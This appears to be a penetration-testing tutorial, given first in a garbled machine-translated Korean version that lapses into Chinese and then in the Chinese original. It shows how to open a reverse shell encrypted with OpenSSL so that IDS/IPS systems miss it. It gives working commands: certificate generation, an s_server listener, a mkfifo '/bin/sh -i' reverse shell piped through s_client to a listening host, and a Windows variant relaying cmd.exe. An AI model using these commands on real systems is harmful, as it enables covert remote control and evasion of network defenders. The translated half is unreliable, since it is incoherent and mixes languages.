Referrence : https://xax007.github.io/2019-03-07-reverse-encrypted-shell-with-openssl/
디렉토리
- 머리말
- OpenSSL을 소개
- 자체 서명 된 인증서를 생성하기 위해 OpenSSL을 사용
- OpenSSL을 암호화 쉘 리바운드를 사용하여
- 간단한 HTTPS 서버를 구축하기 OpenSSL을 사용
- 참조 링크
머리말
종종 쉘을 반송 할 필요가 만연 침투의 더 침투하기 위해 레드 팀 침투 테스트 단계 운반, 여기에 언어 쉘 방법을 반송의 다양한 사용하여 나열되어, 나는 쉘 단점을 반송 할 수있는 방법이 있음을 발견 모든 트래픽 그들은 일반 텍스트로 전송됩니다 .
우리는 리바운드 쉘 테스트를 NC 사용
사용 와이어 샤크 우리는 명령 실행을보고 직접 정보를 반환 할 수 있습니다
이 경우, 우리는 네트워크 방어 탐지 시스템 (IDS, IPS 등)을 작동 할 때 통신 내용과 우리의 경보를 인수 중지됩니다, 그것은 당황하거나 통신 내용을 암호화 할 필요가, 당신은 OpenSSL을 사용하도록 선택할 수 있습니다 리바운드 암호화 쉘.
OpenSSL을 소개
컴퓨터 네트워크에 걸쳐에는 OpenSSL은 오픈 소스 소프트웨어 라이브러리 패키지는, 다른 쪽 끝은 사람의 신원을 확인하기 위해 연결되어있는 동안, 도청을 방지하는 보안 통신을위한 패키지를 사용할 수있는 응용 프로그램,
에는 OpenSSL 리바운드 쉘을 사용하기 전에 자체 서명 된 인증서를 생성해야
자체 서명 된 인증서를 생성하기 위해 OpenSSL을 사용
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
당신은 당신이 라운드 모든 방법을 채우기 위해 귀찮게 수없는 경우, 자체 서명 된 인증서를 생성 인증서 정보를 입력하라는 메시지가 표시됩니다
OpenSSL을 암호화 쉘 리바운드를 사용하여
리눅스
우리는 B 호스트 A에서 반등 쉘을 호스트 가정
------------------ ----------------------
| A:172.16.1.175 | --- shell ---> | B:172.16.1.174:1337 | ------------------ ----------------------
사용에 대한 자체 서명 된 인증서를 생성하는 데 필요한 첫 번째 단계는, 포트 B 호스트에서 수신하도록 OpenSSL을을 사용하여 포트 1337 여기에 사용된다
명령은 다음과 같습니다
openssl s_server -quiet -key key.pem -cert cert.pem -port 1337
이 경우에는 OpenSSL 포트 1337는 SSL / TLS 서버를 시작합니다
이 경우 반송 쉘 호스트 B의 작업을 수행하는 명령이다 :
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.1.174:1337 > /tmp/s; rm /tmp/s
셸에서 반등이 사용은 OpenSSL 암호화
결과는 다음과 같습니다 :
使用 wireshark 抓包可以看到,A 和 B 主机之间在使用 TLS1.2 协议进行加密通信
Windows
在 Windows 系统上反弹加密 shell 的方式有点不一样
具体命令如下:
openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]
以上命令会从 [ip]:[port1]
获取命令发送给 cmd.exe
执行,然后把结果返回到 [ip]:[port2]
因此在本机需要启动两个 s_server
从 port1
发送命令到 cmd
openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1]
从 port2
获取发送给 port1
的命令执行结果
openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2]
OpenSSL 还有很多功能,这里详细的列出了 OpenSSL 的常见使用方法
在渗透测试时,还可以使用 OpenSSL 搭建简易 HTTPS Server
使用 OpenSSL 搭建简易 HTTPS Server
使用以下命令前需要使用 OpenSSL 生成证书自签名证书,命令在上文中已给出
openssl s_server -key key.pem -cert cert.pem -accept 44330 -WWW
以上命令在 44330 端口启动了一个 HTTPS Server
参考链接
目录
前言
在进行红队渗透测试的后渗透阶段为了进一步横行渗透往往需要反弹 shell,这里列出了使用各种语言进行反弹 shell 的方法,我发现这种反弹 shell 方式都有一个缺点,那就是所有的流量都是明文传输的。
我们使用 nc 反弹 shell 进行测试
使用 wireshark 可以直接看到我们执行的命令和返回信息
在这种情况下当我们进行操作时,网络防御检测系统(IDS、IPS等)会获取到我们的通信内容并进行告警和阻止,因此需要对通信内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密 shell。
OpenSSL 简介
在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份
利用 OpenSSL 反弹 shell 之前需要生成自签名证书
使用 OpenSSL 生成证书自签名证书
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车
使用 OpenSSL 反弹加密 shell
Linux
假设我们从 A 主机反弹 shell 到 B 主机
------------------ ----------------------
| A:172.16.1.175 | --- shell ---> | B:172.16.1.174:1337 | ------------------ ----------------------
首先需用利用上一步生成的自签名证书,在 B 主机上使用 OpenSSL 监听一个端口,在这里使用 1337 端口
命令为:
openssl s_server -quiet -key key.pem -cert cert.pem -port 1337
此时 OpenSSL 在 1337 端口上启动了一个 SSL/TLS server
这时在 B 主机进行反弹 shell 操作,命令为:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.1.174:1337 > /tmp/s; rm /tmp/s
这样就使用 OpenSSL 反弹了一个加密的 shell
效果如下:
使用 wireshark 抓包可以看到,A 和 B 主机之间在使用 TLS1.2 协议进行加密通信
Windows
在 Windows 系统上反弹加密 shell 的方式有点不一样
具体命令如下:
openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]
以上命令会从 [ip]:[port1]
获取命令发送给 cmd.exe
执行,然后把结果返回到 [ip]:[port2]
因此在本机需要启动两个 s_server
从 port1
发送命令到 cmd
openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1]
从 port2
获取发送给 port1
的命令执行结果
openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2]
OpenSSL 还有很多功能,这里详细的列出了 OpenSSL 的常见使用方法
在渗透测试时,还可以使用 OpenSSL 搭建简易 HTTPS Server
使用 OpenSSL 搭建简易 HTTPS Server
使用以下命令前需要使用 OpenSSL 生成证书自签名证书,命令在上文中已给出
openssl s_server -key key.pem -cert cert.pem -accept 44330 -WWW
以上命令在 44330 端口启动了一个 HTTPS Server